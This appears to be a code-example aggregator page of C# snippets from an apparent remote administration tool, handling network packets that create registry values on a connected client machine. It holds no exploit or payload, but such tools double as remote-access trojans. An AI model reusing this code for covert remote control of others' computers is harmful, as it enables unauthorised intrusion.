public static void createRegistryValue(GetCreateRegistryValueResponse packet, ClientMosaique client)
 {
     try
     {
         // Make sure that the client is in the correct state to handle the packet appropriately.
         if (client != null && client.value.frmRe != null && !client.value.frmRe.IsDisposed || !client.value.frmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 if (packet.Value.Kind == RegistryValueKind.String)
                 {
                     var serializer = new JavaScriptSerializer();
                     var result     = serializer.DeserializeObject(packet.Value.Data);
                     packet.Value.Data = result.ToString();
                 }
                 client.value.frmRe.CreateValue(packet.KeyPath, packet.Value);
             }
             else
             {
                 client.value.frmRe.ShowErrorMessage(packet.ErrorMsg);
             }
         }
     }
     catch { }
 }
예제 #2
0
 private void Execute(ISender client, GetCreateRegistryValueResponse message)
 {
     if (!message.IsError)
     {
         OnValueCreated(message.KeyPath, message.Value);
     }
     else
     {
         OnReport(message.ErrorMsg);
     }
 }
예제 #3
0
 public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client)
 {
     try
     {
         // Make sure that the client is in the correct state to handle the packet appropriately.
         if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 client.Value.FrmRe.CreateValue(packet.KeyPath, packet.Value);
             }
             else
             {
                 client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
             }
         }
     }
     catch { }
 }
예제 #4
0
        private void Execute(ISender client, DoCreateRegistryValue message)
        {
            GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
            string errorMsg;
            string newKeyName = "";

            try
            {
                responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }
            responsePacket.ErrorMsg = errorMsg;
            responsePacket.Value    = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault());
            responsePacket.KeyPath  = message.KeyPath;

            client.Send(responsePacket);
        }
        public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Networking.Client client)
        {
            GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
            string errorMsg;
            string newKeyName = "";

            try
            {
                responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }
            responsePacket.ErrorMsg = errorMsg;
            responsePacket.Value    = RegistryKeyHelper.CreateRegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault());
            responsePacket.KeyPath  = packet.KeyPath;

            client.Send(responsePacket);
        }
예제 #6
0
 public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client)
 {
     try
     {
         if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed ||
             !client.Value.FrmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value);
             }
             else
             {
                 client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
             }
         }
     }
     catch
     {
     }
 }